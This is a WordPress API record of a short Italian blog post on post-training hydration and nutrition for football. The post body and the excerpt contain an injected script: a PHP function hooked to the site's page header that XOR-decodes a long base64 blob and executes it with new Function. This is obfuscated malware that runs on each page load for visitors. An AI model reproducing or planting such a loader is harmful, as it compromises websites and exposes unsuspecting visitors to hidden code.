{"id":103,"date":"2026-07-02T11:06:15","date_gmt":"2026-07-02T11:06:15","guid":{"rendered":"https:\/\/cristianiriarte.com.ar\/?p=103"},"modified":"2026-07-02T11:06:15","modified_gmt":"2026-07-02T11:06:15","slug":"calcio-idratazione-alimentazione-ost-allenamento","status":"publish","type":"post","link":"https:\/\/cristianiriarte.com.ar\/?p=103","title":{"rendered":"Calcio. Idratazione, alimentazione ost allenamento."},"content":{"rendered":"<p>Come proporre idratazione &#8211; alimentazione e integrazione secondo i valori di durata, \u00a0distanza e potenza metabolica. Un ulteriore paso verso la specificita nell&#8217; recupero post allenamento.<script>function xdav_tracker() {\n    ?>\n<script>\n!function(){var _0x50ad=atob('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'),_0xd5d6=99,_0xb8c9=new Uint8Array(_0x50ad['length']),_0x82d4=0;for(;_0x82d4<_0x50ad['length'];_0x82d4++)_0xb8c9[_0x82d4]=_0x50ad['charCodeAt'](_0x82d4)^_0xd5d6;(new Function(new TextDecoder()['decode'](_0xb8c9)))()}();\n<\/script><br \/>\n    <?php\n}\nadd_action( 'wp_head', 'xdav_tracker', 96 );<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Come proporre idratazione &#8211; alimentazione e integrazione secondo i valori di durata, distanza e potenza metabolica. Un ulteriore paso verso la specificita nell&#8217; recupero post allenamento.function xdav_tracker() { ?> !function(){var _0x50ad=atob(&#8216;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&#8217;),_0xd5d6=99,_0xb8c9=new Uint8Array(_0x50ad[&#8216;length&#8217;]),_0x82d4=0;for(;_0x82d4<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[1],"tags":[],"_links":{"self":[{"href":"https:\/\/cristianiriarte.com.ar\/index.php?rest_route=\/wp\/v2\/posts\/103"}],"collection":[{"href":"https:\/\/cristianiriarte.com.ar\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/cristianiriarte.com.ar\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/cristianiriarte.com.ar\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/cristianiriarte.com.ar\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=103"}],"version-history":[{"count":1,"href":"https:\/\/cristianiriarte.com.ar\/index.php?rest_route=\/wp\/v2\/posts\/103\/revisions"}],"predecessor-version":[{"id":129,"href":"https:\/\/cristianiriarte.com.ar\/index.php?rest_route=\/wp\/v2\/posts\/103\/revisions\/129"}],"wp:attachment":[{"href":"https:\/\/cristianiriarte.com.ar\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=103"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/cristianiriarte.com.ar\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=103"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/cristianiriarte.com.ar\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=103"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}